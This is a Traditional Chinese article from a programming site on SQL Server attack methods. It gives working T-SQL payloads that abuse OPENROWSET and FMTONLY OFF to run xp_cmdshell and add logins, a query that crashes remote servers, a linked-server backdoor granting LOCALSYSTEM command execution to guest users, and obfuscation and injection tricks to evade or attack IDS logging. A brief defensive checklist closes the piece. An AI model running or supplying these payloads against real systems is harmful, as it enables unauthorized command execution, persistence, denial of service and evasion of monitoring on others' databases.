首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 資料庫進階攻擊手法:OpenRowSet 繞過、後門植入與 IDS 規避

     編輯:關於SqlServer

OpenRowSet 繞過限制執行任意命令

標準用法:SELECT * FROM OPENROWSET('SQLOLEDB','server','sa','pwd','SELECT * FROM table')。但可利用 SET FMTONLY OFF 繞過僅回傳中繼資料的限制,執行 xp_cmdshell:

SELECT * FROM OPENROWSET('SQLOLEDB','server','sa','pwd',
    'SET FMTONLY OFF EXEC master.dbo.xp_cmdshell ''dir c:\''')

若需呼叫無結果集的 SP (如 sp_addlogin),可偽造結果集:

SELECT * FROM OPENROWSET('SQLOLEDB','server','sa','pwd',
    'SELECT ''OK!'' EXEC master.dbo.sp_addlogin Hectic')

此技巧可在擁有連結伺服器權限時,透過單一查詢執行任意伺服器端命令。

MSDASQL 雙查詢導致 SQL Server 崩潰

SELECT * FROM OPENROWSET('MSDASQL',
    'driver={SQL Server};server=server;uid=sa;pwd=;database=master',
    'SELECT * FROM table1 SELECT * FROM table2')

當 table1 與 table2 欄位數不同時,遠端 SQL Server 進程崩潰,本地連線亦失效。僅發生於 MSDASQL,SQLOLEDB 不受影響。根因未明,疑為 MSDASQL 處理多結果集缺陷。

可怕的本地連結後門

執行一次:

SELECT * FROM OPENROWSET('SQLOLEDB',
    'TRUSTED_CONNECTION=YES;DATA SOURCE=Hectic',
    'SET FMTONLY OFF EXEC master..xp_cmdshell ''dir c:\''')

將在目標 SQL Server 建立名為 Hectic 的本地連結伺服器映射。只要服務不重啟,映射永久有效。其後任何權限的使用者 (含 guest) 執行相同查詢即可以 LOCALSYSTEM 權限執行命令!此為極隱蔽持久化後門。

利用系統 DSN 繞過權限 (理論)

Windows 內建 LOCALSERVER、MSQI DSN 以本地管理員身分連線。若 SQL 服務帳號為 Power User,sa 權限受限。嘗試:

SELECT * FROM OPENROWSET('MSDASQL',
    'DSN=LOCALSERVER;TRUSTED_CONNECTION=YES',
    'SET FMTONLY OFF EXEC master..xp_cmdshell ''dir c:\''')

若 guest 能呼叫 MSDASQL,可能突破權限邊界。目前 guest 無法直接呼叫 MSDASQL,仍在研究突破口。

規避 IDS 偵測

關鍵字混淆

DECLARE @a SYSNAME SET @a = 'xp_' + 'cmdshell' EXEC @a 'dir c:\'
-- 或使用物件 ID
DECLARE @a SYSNAME SELECT @a = name FROM sysobjects WHERE id = 988456 EXEC @a 'dir c:\'

組合拼湊、動態查詢物件名稱,使靜態特徵碼匹配失效。

攻擊 IDS 本身

IDS 記錄庫常為 SQL Server。提交含 /**/ 替代空格的注入:

INSERT/**/INTO/**/log_table/**/VALUES(...'temp')/**/EXEC/**/xp_cmdshell/**/'dir c:\'/**/--

導致 IDS 記錄過程中執行命令。同理可備份/破壞 IDS 資料庫。

防禦建議

  • 嚴格限制 OPENROWSET/OPENDATASOURCE 權限,僅授予特定管理帳號。
  • 停用 xp_cmdshell (sp_configure 'xp_cmdshell', 0) 或移除 xplog70.dll。
  • 定期稽核連結伺服器 (sp_linkedservers) 與 sysobjects 異常項目。
  • 部署行為分析型 WAF/IDS,而非單純關鍵字匹配。
  • 最小權限原則:Web/應用帳號絕不擁有 sysadmin、bulkadmin、setupadmin 等高權限角色。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved